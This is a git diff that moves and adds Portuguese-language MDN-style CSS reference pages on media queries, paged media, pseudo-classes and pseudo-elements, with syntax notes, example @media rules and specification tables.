- - diff --git a/files/pt-pt/web/css/media_queries/index.html b/files/pt-pt/web/css/media_queries/index.html new file mode 100644 index 0000000000..f9bbd7b94e --- /dev/null +++ b/files/pt-pt/web/css/media_queries/index.html @@ -0,0 +1,110 @@ +--- +title: Consultas de média +slug: Web/CSS/Consultas_de_media +tags: + - CSS + - Consultas de Média + - Consultas de média CSS3 + - Desenho Adaptável + - Referencia + - Visão Geral +translation_of: Web/CSS/Media_Queries +--- +
{{CSSRef}}
+ +

Consultas de média permitem adaptar o seu site ou aplicação de acordo com diferentes características ou parâmetros dos dispositivos utilizados.

+ +

São um elemento chave de desenho adaptável . Por exemplo, uma consulta de média pode reduzir o tamanho do texto em dispositivos pequenos, aumentar o espaço entre parágrafos quando a página é visualizada em modo de paisagem, ou ampliar os botões nos ecrãs táteis.

+ +

Em CSS, utiliza-se a regra "at" {{cssxref("@media")}} para aplicar, condicionalmente, parte de uma folha de estilos com base no resultado de uma consulta de média. E utiliza-se {{cssxref("@import")}} para aplicar, condicionalmente, uma folha de estilos inteira.

+ +

Consultas de média em HTML

+ +

Em HTML, as consultas de média podem-se aplicar a vários elementos:

+ + + +

Consultas de média em JavaScript

+ +

Em JavaScript, pode-se usar o método {{domxref("Window.matchMedia()")}} para verificar se a janela possui as características definidas na consulta de média. Também se pode utilizar {{domxref("MediaQueryList.addListener()")}} para gerar eventos sempre que houver mudanças no resultado da consulta de média. Com estas funcionalidades, o seu site ou aplicação pode responder a mudanças na configuração, orientação ou estado do dispositivo.

+ +

Pode aprender mais sobre utilização programática das consultas de média no artigo Testar consultas de média.

+ +

Referências

+ +

Regras "at"

+ +
+ +
+ +

Guias

+ +
+
Utilizar consultas de média
+
Introdução às consultas de média, a sua sintaxe, os operadores e funcionalidades utilizadas para construir as expressões das consultas de média.
+
Testar consultas de média programaticamente
+
Descrição de como utilizar consultas de média no código JavaScript code para determinar o estado do dispositivo, e como instalar listeners que notificam o código quando o resultado das consultas muda (por exemplo, quando o utilizador roda o ecrã ou redimensiona a janela do navegador).
+
Utilizar Consultas de média para Acessibilidade
+
Este artigo explica de que forma as consultas de média podem ajudar os utilizadores a compreender melhor o seu site.
+
+ +

Especificações

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('CSS5 Media Queries')}}{{Spec2('CSS5 Media Queries')}} 
{{SpecName('CSS3 Conditional')}}{{Spec2('CSS3 Conditional')}} 
{{SpecName('CSS4 Media Queries')}}{{Spec2('CSS4 Media Queries')}} 
{{SpecName('CSS3 Media Queries')}}{{Spec2('CSS3 Media Queries')}} 
{{SpecName('CSS2.1', 'media.html')}}{{Spec2('CSS2.1')}}Definição inicial
+ +

Compatibilidade com navegadores

+ +

@media rule

+ + + +

{{Compat("css.at-rules.media")}}

+ +

Ver também

+ + diff --git a/files/pt-pt/web/css/media_queries/using_media_queries/index.html b/files/pt-pt/web/css/media_queries/using_media_queries/index.html new file mode 100644 index 0000000000..2bf4f5470c --- /dev/null +++ b/files/pt-pt/web/css/media_queries/using_media_queries/index.html @@ -0,0 +1,436 @@ +--- +title: Utilizar consultas de média +slug: Web/CSS/Consulta_de_mídia +tags: + - Avançado + - CSS + - Desenho Adaptável + - Guía + - Media +translation_of: Web/CSS/Media_Queries/Using_media_queries +--- +

{{ gecko_minversion_header("1.9.1") }}

+ +

As consultas de média permitem modificar um site ou aplicação de acordo com o tipo de dispositivo (ecrã ou impressora, por exemplo) ou características e parâmetros específicos (como a resolução de ecrã ou largura do {{glossary("viewport")}} do navegador). Podem utilizar-se para:

+ + + +

Sintaxe

+ +

Consultas de média consistem num tipo de média e uma ou mais expressões envolvendo recursos de média. Note que estas consultas não são sensíveis a maiúsculas. Pode-se combinar várias consultas com operadores lógicos.

+ +

O resultado da consulta é verdadeiro se o tipo de média especificado na consulta de média encaixa com o tipo de dispositivo no qual o documento está a ser exibido e se todas as expressões na consulta de média forem verdadeiras.

+ +

Quando uma consulta de média é verdadeira, a folha de estilos correspondente é aplicada seguinto as regras normais de cascata.

+ +
+

Nota: Considere a etiqueta {{HTMLElement("link")}} com uma consulta de média. O ficheiro CSS que ela refere é descarregado mesmo que a consulta de média seja falsa; o conteúdo da folha não será aplicado até a consulta se tornar verdadeira.

+
+ +

Operadores lógicos

+ +

Você pode compor consultas de média complexas usando operadores lógicos, incluindo not, and, e only ; assim como combinar consultas de média numa lista separada por vírgulas, o que é equivalente a um operador "ou".

+ +

and

+ +

O operador and indica que a consulta é verdadeira se cada subconsulta que a compõe for verdadeira. Também pode juntar os tipos de média às funcionalidades de média. Tem maior precedência que a vírgula ("ou") e o not.

+ +

not

+ +

A palavra-chave not, nega o resultado de toda a consulta; por exemplo, "all and (not color)" é verdadeiro para dispositivos monocromáticos independentemente do tipo de média. É o operador com menor precedência depois da vírgula.

+ +

only

+ +

A palavra-chave only indica que só deve ser aplicado o estilo se a consulta inteira for verdadeira. Quando se utiliza este operador, é obrigatório especificar um tipo de média.

+ +

É útil para esconder folhas de estilo de navegadores antigos que não suportam consultas de média. Por exemplo, se não for utilizado only, navegadores antigos interpretam a consulta screen and (max-width: 500px) apenas como screen - ignoram o resto e aplicam o estilo em todos os ecrãs. 

+ +

Este operador não pode ser utilizado em conjunto com o not, e ambos têm a mesma precedência.

+ +

, (vírgula)

+ +

Cada subconsulta numa lista separada por vírgulas é avaliada isoladamente e e alguma  for verdadeira, a consulta composta é verdadeira. Por outras palavras, as vírgulas são equivalentes a um "ou-lógico".

+ +

Precedência dos operadores

+ + + +

Os parênteses não podem ser utilizados para mudar esta precedência.

+ +

 

+ +

Pseudo BNF (para aqueles que gostam desde tipo de coisa)

+ +
media_query_list: <media_query> [, <media_query> ]*
+media_query: [[only | not]? <media_type> [ and <expression> ]*]
+  | <expression> [ and <expression> ]*
+expression: ( <media_feature> [: <value>]? )
+media_type: all | aural | braille | handheld | print |
+  projection | screen | tty | tv | embossed
+media_feature: width | min-width | max-width
+  | height | min-height | max-height
+  | device-width | min-device-width | max-device-width
+  | device-height | min-device-height | max-device-height
+  | device-aspect-ratio | min-device-aspect-ratio | max-device-aspect-ratio
+  | color | min-color | max-color
+  | color-index | min-color-index | max-color-index
+  | monochrome | min-monochrome | max-monochrome
+  | resolution | min-resolution | max-resolution
+  | scan | grid
+ +

Consultas de média não diferenciam maiúsculas de minúsculas. Consultas de média que envolvem tipos de média desconhecidos são sempre falsas.

+ +
Nota: Os parênteses são requisitados a volta de expressões; esquecer de usá-los é um erro.
+ +

Recursos de média

+ +

A maioria dos recursos de média pode ser prefixado com "min-" ou "max-" para expressar "maior ou igual a" ou "menor ou igual a". Isto evita usar os símbolos "<" e ">", que poderiam entrar em conflito com HTML e XML. Se você usar um recurso de média sem especificar um valor, a expressão é definida como verdadeira se o valor do recurso for diferente de zero.

+ +
Nota: Se um recurso de média não se aplica ao dispositivo no qual o navegador está sendo rodado, expressões envolvendo este recurso de média serão sempre falsas. Por exemplo, consultando a relação de aspecto de um dispositivo auditivo sempre resultará em falso.
+ +

color

+ +

Valor: {{cssxref("<color>")}}
+ média: {{cssxref("Media/Visual", "visual")}}
+ Aceita os prefixos min/max: sim

+ +

Indica o número de bits por componente de cor do dispositivo de saída. Se o dispositivo não é colorido, este valor é zero.

+ +
Nota: Se os componentes de cor tiverem diferentes de números de bits por componente de cor, o menor número é usado. Por exemplo, se uma tela usa 5 bits para azul e vermelho e 6 bits para verde, então o dispositivo é considerado para usar 5 bits por componente de cor. Se o dispositivo usa cores indexadas, o número mínimo de bits por componente de cor na tabela de cores é usado.
+ +

Exemplos

+ +

Para aplicar uma folha de estilos a todos os dispositivos coloridos:

+ +
@media all and (color) { ... }
+
+ +

Para aplicar uma folha de estilos a dispositivos com no mínimo 4 bits por componente de cor:

+ +
@media all and (min-color: 4) { ... }
+
+ +

color-index

+ +

Valor: integer
+ média: {{cssxref("Media/Visual", "visual")}}
+ Aceita os prefixos min/max: sim

+ +

Indica o número de entradas na tabela de cor para o dispositivo de saída.

+ +

Exemplos

+ +

Para indicar que uma folha de estilos deve ser aplicada a todos os dispositivos usando cores indexadas, você pode fazer:

+ +
@media all and (color-index) { ... }
+
+ +

Para aplicar uma folha de estilos a dispositivos de cores indexadas com no mínimo 256 cores:

+ +
<link rel="stylesheet" media="all and (min-color-index: 256)" href="http://foo.bar.com/stylesheet.css" />
+
+ +

device-aspect-ratio

+ +

Valor: integer / integer
+ média: {{cssxref("Media/Visual", "visual")}}, {{cssxref("Medium/Tactile", "tactile")}}
+ Aceita os prefixos min/max: sim

+ +

Descreve a relação de aspecto do dispositivo de saída. Este valor consiste em dois positivos inteiros (integer) separados por um caractére barra ("/"). Isto representa o número de pixels horizontais sobre o número de pixels verticais.

+ +

Exemplo

+ +

O que vem a seguir selecionar uma folha de estilos especial para uso em dispositivos de tela comprida (widescreen):

+ +
@media screen and (device-aspect-ratio: 16/9), screen and (device-aspect-ratio: 16/10) { ... }
+ +

Isto seleciona o estilo quando a relação de aspecto for 16:9 ou 16:10.

+ +

device-height

+ +

Valor: {{cssxref("<length>")}}
+ média: {{cssxref("Media/Visual", "visual")}}, {{cssxref("Medium/Tactile", "tactile")}}
+ Aceita os prefixos min/max: sim

+ +

Descreve a altura do dispositivo de saída (sendo a tela ou página inteira, ao invés de somente a área de renderização, como a janela do documento).

+ +

Exemplo

+ +

Para aplicar uma folha de estilos a um documento quando exibido em uma tela que for mais fina do que 800 pixels, você pode usar isto:

+ +
<link rel="stylesheet" media="screen and (max-device-width: 799px)" />
+
+ +

device-width

+ +

Valor: {{cssxref("<length>")}}
+ média: {{cssxref("Media/Visual", "visual")}}, {{cssxref("Medium/Tactile", "tactile")}}
+ Aceita os prefixos min/max: sim

+ +

Descreve a largura do dispositivo de saída (sendo a tela ou a página inteira, ao invés de somente a área de renderização, como a janela do documento).

+ +

grid

+ +

Valor: integer
+ média: all
+ Aceita os prefixos min/max: não

+ +

Determina Determines se o dispositivo de saída é um dispositivo grid ou um dispositivo bitmap. Se o dispositivo for baseado em grid (tal como um terminal tty ou uma tela de celular com somente uma fonte), o valor é 1. Caso contrário é zero.

+ +
Nota: Gecko (e consequentemente o Firefox) não suporta dispositivos grid atualmente, então este recurso de média não é suportado.
+ +

Exemplo

+ +

Para aplicar um estilo a dispositivos de mão com uma tela de 15 caracteres ou mais estreito:

+ +
@media handheld and (grid) and (max-width: 15em) { ... }
+
+ +
Nota: A unidade "em" tem um uso especial em dispositivos grid; desde que a largura exata de um "em" não pôde ser determinada, 1em é assumido como a largura de uma célula grid horizontal, e a altura de uma célula vertical.
+ +

height

+ +

Valor: {{cssxref("<length>")}}
+ média: {{cssxref("Media/Visual", "visual")}}, {{cssxref("Medium/Tactile", "tactile")}}
+ Aceita os prefixos min/max: sim

+ +

O recurso de média height descreve a altura da superfície de renderização do dispositivo de saída (tal como a altura da viewport ou da caixa de páginas em uma impressora).

+ +
Nota: Quando o usuário redimenciona a janela, o Firefox substituirá as folhas de estilos como for apropriado, baseado em consultas de média usando os recursos de média width e height.
+ +

monochrome

+ +

Valor: integer
+ média: {{cssxref("Media/Visual", "visual")}}
+ Aceita os prefixos min/max: sim

+ +

Indica o número de bits por pixel em um dispositivo monocromático (escala de cinza). Se o dispositivo não for monocromático, o valor do dispositivo é 0.

+ +

Exemplos

+ +

Para aplicar uma folha de estilos para todos os dispositivos monocromáticos:

+ +
@media all and (monochrome) { ... }
+
+ +

Para aplicar uma folha de estilos para dispositivos monocromáticos com no mínimo 8 bits por pixel:

+ +
@media all and (min-monochrome: 8) { ... }
+
+ +

orientation

+ +

Valor: landscape | portrait
+ média: {{cssxref("Media/Visual", "visual")}}
+ Aceita os prefixos min/max: não

+ +

Indica se o dispositivo está em modo paisagem (a exibição é mais larga do que alta) ou retrato (a exibição é mais alta do que larga).

+ +

Exemplo

+ +

Para aplicar uma folha de estilos somente na orientação retrato:

+ +
@media all and (orientation: portrait) { ... }
+ +

resolution

+ +

Valor: {{cssxref("<resolution>")}}
+ média: {{cssxref("Media/Bitmap", "bitmap")}}
+ Aceita os prefixos min/max: sim

+ +

Indica a resolução (densidade de pixels) do dispositivo de saída. A resolução pode ser especificada tanto em pontos por polegada (dpi) quanto pontos por centímetro (dpcm).

+ +

Exemplo

+ +

Para aplicar uma folha de estilos a dispositivos com no mínimo 300 pontos por polegada de resolução:

+ +
@media print and (min-resolution: 300dpi) { ... }
+
+ +

scan

+ +

Valor: progressiveinterlace
+ média: {{cssxref("Media/TV", "tv")}}
+ Aceita os prefixos min/max: não

+ +

Descreve o processo de escaneamento de dispositivos de saída de televisão.

+ +
Nota: Gecko (e consequentemente o Firefox) não suportam o tipo de média tv atualmente, então este recurso de média não é suportado.
+ +

Exemplo

+ +

Para aplicar uma folha de estilos somente para televisões com escaneamento progressivo:

+ +
@media tv and (scan: progressive) { ... }
+
+ +

width

+ +

Valor: {{cssxref("<length>")}}
+ média: {{cssxref("Media/Visual", "visual")}}, {{cssxref("Medium/Tactile", "tactile")}}
+ Aceita os prefixos min/max: sim

+ +

O recurso de média width descreve a largura da superfície de renderização do dispositivo de saída (tal como a largura da janela do documento, ou a largura da caixa de páginas em uma impressora).

+ +
Nota: Quando o usuário redimensiona a janela, o Firefox substituirá a folha de estilo como apropriado, baseado nas consultas de média usando os recursos de média width e height.
+ +

Exemplos

+ +

Se você desejar espeficar uma folha de estilos para dispositivos de mão, ou dispositivos de tela com uma largura maior do que 20em, você pode usar esta folha de estilos:

+ +
@media handheld and (min-width: 20em), screen and (min-width: 20em) { ... }
+
+ +

Este recurso de média especifica uma folha de estilos que deve ser aplicada a médias impressas mais largas do que 8.5 polegadas:

+ +
<link rel="stylesheet" media="print and (min-width: 8.5in)"
+    href="http://foo.com/mystyle.css" />
+
+ +

Este recurso especifica uma folha de estilos que é usável quando a viewport estiver entre 500 e 800 pixels de largura:

+ +
@media screen and (min-width: 500px) and (max-width: 800px) { ... }
+
+ +

Características de média específicas da Mozilla

+ +

{{ gecko_minversion_header("1.9.2") }}

+ +

A Mozilla oferece várias características de média específicas para o Gecko. Algumas delas podem ser propostas como características oficiais de média.

+ +

-moz-images-in-menus

+ +

Valor: inteiro
+ média: {{cssxref("Media/Visual", "visual")}}
+ Aceita os prefixos min/max: não

+ +

Se o dispositivo permitir às imagens, aparecer nos menus, recebe 1; caso contrário, o valor é 0.

+ +

Isto corresponde às pseudo classes {{ cssxref(":-moz-system-metric(images-in-menus)") }} do CSS.

+ +

-moz-mac-graphite-theme

+ +

Valor: inteiro
+ média: {{cssxref("Media/Visual", "visual")}}
+ Aceita os prefixos min/max: não

+ +

Se o usuário configurou o dispositivo para usar a aparência "Graphite" no Mac OS X, o valor é 1. Se o usuário está usando a aparência azul padrão, ou não for no Mac OS X, o valor é 0.

+ +

Isto corresponde às pseudo classes {{ cssxref(":-moz-system-metric(mac-graphite-theme)") }} do CSS.

+ +

-moz-maemo-classic

+ +

Valor: inteiro
+ média: {{cssxref("Media/Visual", "visual")}}
+ Aceita os prefixos min/max: não

+ +

Se o usuário está usando o Maemo com o tema original, o valor é 1; se estiver usando o novo tema "Fremantle", o valor é 0.

+ +

Isto corresponde às pseudo classes {{ cssxref(":-moz-system-metric(maemo-classic)") }} do CSS.

+ +

-moz-scrollbar-end-backward

+ +

Valor: inteiro
+ média: {{cssxref("Media/Visual", "visual")}}
+ Aceita os prefixos min/max: não

+ +

Se a interface do dispositivo do usuário exibe um botão de seta para trás ao fim da barra de rolagem, o valor é 1. Caso contrário é 0.

+ +

Isto corresponde às pseudo classes {{ cssxref(":-moz-system-metric(scrollbar-end-backward)") }} do CSS.

+ +

-moz-scrollbar-end-forward

+ +

Valor: inteiro
+ média: {{cssxref("Media/Visual", "visual")}}
+ Aceita os prefixos min/max: não

+ +

Se a interface do dispositivo do usuário exibe um botão de seta para frente ao fim da barra de rolagem, o valor é 1. Caso contrário é 0.

+ +

Isto corresponde às pseudo classes {{ cssxref(":-moz-system-metric(scrollbar-end-forward)") }} do CSS.

+ +

-moz-scrollbar-start-backward

+ +

Valor: inteiro
+ média: {{cssxref("Media/Visual", "visual")}}
+ Aceita os prefixos min/max: não

+ +

Se a interface do dispositivo do usuário exibe uma seta para trás no início da barra de rolagem, o valor é 1. Caso contrário é 0.

+ +

Isto corresponde às pseudo classes {{ cssxref(":-moz-system-metric(scrollbar-start-backward)") }} do CSS.

+ +

-moz-scrollbar-start-forward

+ +

Valor: inteiro
+ média: {{cssxref("Media/Visual", "visual")}}
+ Aceita os prefixos min/max: não

+ +

Se a interface do dispositivo do usuário exibe uma seta para frente no início da barra de rolagem, o valor é 1. Caso contrário é 0.

+ +

Isto corresponde às pseudo classes {{ cssxref(":-moz-system-metric(scrollbar-start-forward)") }} do CSS.

+ +

-moz-scrollbar-thumb-proportional

+ +

Valor: inteiro
+ média: {{cssxref("Media/Visual", "visual")}}
+ Aceita os prefixos min/max: não

+ +

Se a interface do dispositivo do usuário exibe a barra de rolagem proporcionalmente (isto é, tamanho baseado na porcentagem do documento que está visível), o valor é 1. Caso contrário é 0.

+ +

Isto corresponde às pseudo classes {{ cssxref(":-moz-system-metric(scrollbar-thumb-proportional)") }} do CSS.

+ +

-moz-touch-enabled

+ +

Valor: inteiro
+ média: {{cssxref("Media/Visual", "visual")}}
+ Aceita os prefixos min/max: não

+ +

Se o dispositivo suporta eventos de toque (para um tela sensível ao toque), o valor é 1. Caso contrário é 0.

+ +

Isto corresponde às pseudo classes {{ cssxref(":-moz-system-metric(touch-enabled)") }} do CSS.

+ +

Exemplo

+ +

Você pode usar isso para renderizar seus botões ligeiramente maiores, por exemplo, se o usuário estiver em um dispositivo com tela sensível ao toque, para torná-lo mais amigável aos dedos.

+ +

-moz-windows-classic

+ +

Valor: inteiro
+ média: {{cssxref("Media/Visual", "visual")}}
+ Aceita os prefixos min/max: não

+ +

Se o usuário estiver usando o Windows, sem tema (no modo clássico ao invés de usar "uxtheme"), o valor é 1; caso contrário é 0.

+ +

Isto corresponde às pseudo classes {{ cssxref(":-moz-system-metric(windows-classic)") }} do CSS.

+ +

-moz-windows-compositor

+ +

Valor: inteiro
+ média: {{cssxref("Media/Visual", "visual")}}
+ Aceita os prefixos min/max: não

+ +

Se o usuário estiver usando o Windows com o compositor DWM, o valor é 1; caso contrário é 0.

+ +

Isto corresponde às pseudo classes {{ cssxref(":-moz-system-metric(windows-compositor)") }} do CSS.

+ +

-moz-windows-default-theme

+ +

Valor: inteiro
+ média: {{cssxref("Media/Visual", "visual")}}
+ Aceita os prefixos min/max: não

+ +

Se o usuário está correntemente usando um dos temas do Windows (Luna, Royale, Zune ou Aero (incluindo o Vista Basic, Vista Advanced e o Aero Glass), o valor 1. Caso contrário é 0.

+ +

Veja também

+ + diff --git "a/files/pt-pt/web/css/m\303\251dia_paginada/index.html" "b/files/pt-pt/web/css/m\303\251dia_paginada/index.html" deleted file mode 100644 index 49df122031..0000000000 --- "a/files/pt-pt/web/css/m\303\251dia_paginada/index.html" +++ /dev/null @@ -1,19 +0,0 @@ ---- -title: Média paginada -slug: Web/CSS/Média_paginada -tags: - - CSS - - CSS3 - - Quebras de Página -translation_of: Web/CSS/Paged_Media ---- -

Paged media properties control the presentation of content for print or any other media that splits content into discrete pages. It allows you to set page breaks, control printable area, style left and right pages differently, and control breaks inside elements. Popularly supported properties include

- - diff --git a/files/pt-pt/web/css/paged_media/index.html b/files/pt-pt/web/css/paged_media/index.html new file mode 100644 index 0000000000..49df122031 --- /dev/null +++ b/files/pt-pt/web/css/paged_media/index.html @@ -0,0 +1,19 @@ +--- +title: Média paginada +slug: Web/CSS/Média_paginada +tags: + - CSS + - CSS3 + - Quebras de Página +translation_of: Web/CSS/Paged_Media +--- +

Paged media properties control the presentation of content for print or any other media that splits content into discrete pages. It allows you to set page breaks, control printable area, style left and right pages differently, and control breaks inside elements. Popularly supported properties include

+ + diff --git a/files/pt-pt/web/css/pseudo-classes/index.html b/files/pt-pt/web/css/pseudo-classes/index.html new file mode 100644 index 0000000000..d65bef9e51 --- /dev/null +++ b/files/pt-pt/web/css/pseudo-classes/index.html @@ -0,0 +1,165 @@ +--- +title: Pseudoclasses +slug: Web/CSS/Pseudoclasses +tags: + - CSS + - Pseudoclasse + - Referencia + - Resumo + - Seletores + - Sinopse +translation_of: Web/CSS/Pseudo-classes +--- +
{{CSSRef}}
+ +

A CSS pseudo-class is a keyword added to a selector that specifies a special state of the selected element(s). For example, {{CSSxRef(":hover")}} can be used to change a button's color when the user's pointer hovers over it.

+ +
/* Any button over which the user's pointer is hovering */
+button:hover {
+  color: blue;
+}
+ +

Pseudo-classes let you apply a style to an element not only in relation to the content of the document tree, but also in relation to external factors like the history of the navigator ({{CSSxRef(":visited")}}, for example), the status of its content (like {{CSSxRef(":checked")}} on certain form elements), or the position of the mouse (like {{CSSxRef(":hover")}}, which lets you know if the mouse is over an element or not).

+ +
+

Nota: In contrast to pseudo-classes, pseudo-elements can be used to style a specific part of an element.

+
+ +

Sintaxe

+ +
selector:pseudo-class {
+  property: value;
+}
+
+ +

Like regular classes, you can chain together as many pseudo-classes as you want in a selector.

+ +

Índice de pseudoclasses padrões

+ +
+ +
+ +

Especificações

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
EspecificaçãoEstadoComentário
{{SpecName("Fullscreen")}}{{Spec2("Fullscreen")}}Defined :fullscreen.
{{SpecName("HTML WHATWG", "#pseudo-classes")}}{{Spec2("HTML WHATWG")}}Defines when particular selectors match HTML elements.
{{SpecName("CSS4 Selectors")}}{{Spec2("CSS4 Selectors")}}Defined :any-link, :blank, :local-link, :scope, :drop, :current, :past, :future, :placeholder-shown, :user-invalid, :nth-col(), :nth-last-col() and :matches().
+ No significant change for pseudo-classes defined in {{SpecName("CSS3 Selectors")}} and {{SpecName("HTML5 W3C")}} (though semantic meaning not taken over).
{{SpecName("HTML5 W3C")}}{{Spec2("HTML5 W3C")}}Copies the relevant section from the canonical (WHATWG) HTML spec.
{{SpecName("CSS3 Basic UI")}}{{Spec2("CSS3 Basic UI")}}Defined :default, :valid, :invalid, :in-range, :out-of-range, :required, :optional, :read-only and :read-write, but without the associated semantic meaning.
{{SpecName("CSS3 Selectors")}}{{Spec2("CSS3 Selectors")}}Defined :target, :root, :nth-child(), :nth-last-of-child(), :nth-of-type(), :nth-last-of-type(), :last-child, :first-of-type, :last-of-type, :only-child, :only-of-type, :empty and :not().
+ Defined the syntax of :enabled, :disabled, :checked, and :indeterminate, but without the associated semantic meaning.
+ No significant change for pseudo-classes defined in {{SpecName('CSS2.1')}}.
{{SpecName("CSS2.1")}}{{Spec2("CSS2.1")}}Defined :lang(), :first-child, :hover, and :focus.
+ No significant change for pseudo-classes defined in {{SpecName('CSS1')}}.
{{SpecName("CSS1")}}{{Spec2("CSS1")}}Defined :link, :visited and :active, but without the associated semantic meaning.
+ +

Consultar também:

+ + diff --git a/files/pt-pt/web/css/pseudo-elements/index.html b/files/pt-pt/web/css/pseudo-elements/index.html new file mode 100644 index 0000000000..780d17c378 --- /dev/null +++ b/files/pt-pt/web/css/pseudo-elements/index.html @@ -0,0 +1,104 @@ +--- +title: Pseudoelementos +slug: Web/CSS/Pseudoelementos +tags: + - CSS + - Pseudoelemento + - Referencia + - Resumo + - Seletores + - Sinopse +translation_of: Web/CSS/Pseudo-elements +--- +
{{CSSRef}}
+ +

Um pseudoelemento de CSS é uma palavra-chave adicionada ao seletor que lhe permite estilizar uma parte específica do(s) elemento(s) selecionado(s). Por exemplo, {{CSSxRef("::first-line")}} pode ser utilizado para alterar o tipo de letra da primeira linha de um parágrafo.

+ +
/* The first line of every <p> element. */
+p::first-line {
+  color: blue;
+  text-transform: uppercase;
+}
+ +
+

Nota: In contrast to pseudo-elements, {{CSSxRef("pseudo-classes")}} can be used to style an element based on its state.

+
+ +

Sintaxe

+ +
selector::pseudo-element {
+  property: value;
+}
+ +

You can use only one pseudo-element in a selector. It must appear after the simple selectors in the statement.

+ +
+

Note: As a rule, double colons (::) should be used instead of a single colon (:). This distinguishes pseudo-classes from pseudo-elements. However, since this distinction was not present in older versions of the W3C spec, most browsers support both syntaxes for the original pseudo-elements.

+
+ +

Índice de pseudoelementos padrões

+ +
+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
NavegadorVersão Mais BaixaSuporta
Internet Explorer8.0:pseudo-element
9.0:pseudo-element ::pseudo-element
Firefox (Gecko)1.0 (1.0):pseudo-element
1.0 (1.5):pseudo-element ::pseudo-element
Opera4.0:pseudo-element
7.0:pseudo-element ::pseudo-element
Safari (WebKit)1.0 (85):pseudo-element ::pseudo-element
+ +

Consultar também:

+ + diff --git a/files/pt-pt/web/css/pseudoclasses/index.html b/files/pt-pt/web/css/pseudoclasses/index.html deleted file mode 100644 index d65bef9e51..0000000000 --- a/files/pt-pt/web/css/pseudoclasses/index.html +++ /dev/null @@ -1,165 +0,0 @@ ---- -title: Pseudoclasses -slug: Web/CSS/Pseudoclasses -tags: - - CSS - - Pseudoclasse - - Referencia - - Resumo - - Seletores - - Sinopse -translation_of: Web/CSS/Pseudo-classes ---- -
{{CSSRef}}
- -

A CSS pseudo-class is a keyword added to a selector that specifies a special state of the selected element(s). For example, {{CSSxRef(":hover")}} can be used to change a button's color when the user's pointer hovers over it.

- -
/* Any button over which the user's pointer is hovering */
-button:hover {
-  color: blue;
-}
- -

Pseudo-classes let you apply a style to an element not only in relation to the content of the document tree, but also in relation to external factors like the history of the navigator ({{CSSxRef(":visited")}}, for example), the status of its content (like {{CSSxRef(":checked")}} on certain form elements), or the position of the mouse (like {{CSSxRef(":hover")}}, which lets you know if the mouse is over an element or not).

- -
-

Nota: In contrast to pseudo-classes, pseudo-elements can be used to style a specific part of an element.

-
- -

Sintaxe

- -
selector:pseudo-class {
-  property: value;
-}
-
- -

Like regular classes, you can chain together as many pseudo-classes as you want in a selector.

- -

Índice de pseudoclasses padrões

- -
- -
- -

Especificações

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
EspecificaçãoEstadoComentário
{{SpecName("Fullscreen")}}{{Spec2("Fullscreen")}}Defined :fullscreen.
{{SpecName("HTML WHATWG", "#pseudo-classes")}}{{Spec2("HTML WHATWG")}}Defines when particular selectors match HTML elements.
{{SpecName("CSS4 Selectors")}}{{Spec2("CSS4 Selectors")}}Defined :any-link, :blank, :local-link, :scope, :drop, :current, :past, :future, :placeholder-shown, :user-invalid, :nth-col(), :nth-last-col() and :matches().
- No significant change for pseudo-classes defined in {{SpecName("CSS3 Selectors")}} and {{SpecName("HTML5 W3C")}} (though semantic meaning not taken over).
{{SpecName("HTML5 W3C")}}{{Spec2("HTML5 W3C")}}Copies the relevant section from the canonical (WHATWG) HTML spec.
{{SpecName("CSS3 Basic UI")}}{{Spec2("CSS3 Basic UI")}}Defined :default, :valid, :invalid, :in-range, :out-of-range, :required, :optional, :read-only and :read-write, but without the associated semantic meaning.
{{SpecName("CSS3 Selectors")}}{{Spec2("CSS3 Selectors")}}Defined :target, :root, :nth-child(), :nth-last-of-child(), :nth-of-type(), :nth-last-of-type(), :last-child, :first-of-type, :last-of-type, :only-child, :only-of-type, :empty and :not().
- Defined the syntax of :enabled, :disabled, :checked, and :indeterminate, but without the associated semantic meaning.
- No significant change for pseudo-classes defined in {{SpecName('CSS2.1')}}.
{{SpecName("CSS2.1")}}{{Spec2("CSS2.1")}}Defined :lang(), :first-child, :hover, and :focus.
- No significant change for pseudo-classes defined in {{SpecName('CSS1')}}.
{{SpecName("CSS1")}}{{Spec2("CSS1")}}Defined :link, :visited and :active, but without the associated semantic meaning.
- -

Consultar também:

- - diff --git a/files/pt-pt/web/css/pseudoelementos/index.html b/files/pt-pt/web/css/pseudoelementos/index.html deleted file mode 100644 index 780d17c378..0000000000 --- a/files/pt-pt/web/css/pseudoelementos/index.html +++ /dev/null @@ -1,104 +0,0 @@ ---- -title: Pseudoelementos -slug: Web/CSS/Pseudoelementos -tags: - - CSS - - Pseudoelemento - - Referencia - - Resumo - - Seletores - - Sinopse -translation_of: Web/CSS/Pseudo-elements ---- -
{{CSSRef}}
- -

Um pseudoelemento de CSS é uma palavra-chave adicionada ao seletor que lhe permite estilizar uma parte específica do(s) elemento(s) selecionado(s). Por exemplo, {{CSSxRef("::first-line")}} pode ser utilizado para alterar o tipo de letra da primeira linha de um parágrafo.

- -
/* The first line of every <p> element. */
-p::first-line {
-  color: blue;
-  text-transform: uppercase;
-}
- -
-

Nota: In contrast to pseudo-elements, {{CSSxRef("pseudo-classes")}} can be used to style an element based on its state.

-
- -

Sintaxe

- -
selector::pseudo-element {
-  property: value;
-}
- -

You can use only one pseudo-element in a selector. It must appear after the simple selectors in the statement.

- -
-

Note: As a rule, double colons (::) should be used instead of a single colon (:). This distinguishes pseudo-classes from pseudo-elements. However, since this distinction was not present in older versions of the W3C spec, most browsers support both syntaxes for the original pseudo-elements.

-
- -

Índice de pseudoelementos padrões

- -
- -
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
NavegadorVersão Mais BaixaSuporta
Internet Explorer8.0:pseudo-element
9.0:pseudo-element ::pseudo-element
Firefox (Gecko)1.0 (1.0):pseudo-element
1.0 (1.5):pseudo-element ::pseudo-element
Opera4.0:pseudo-element
7.0:pseudo-element ::pseudo-element
Safari (WebKit)1.0 (85):pseudo-element ::pseudo-element
- -

Consultar também:

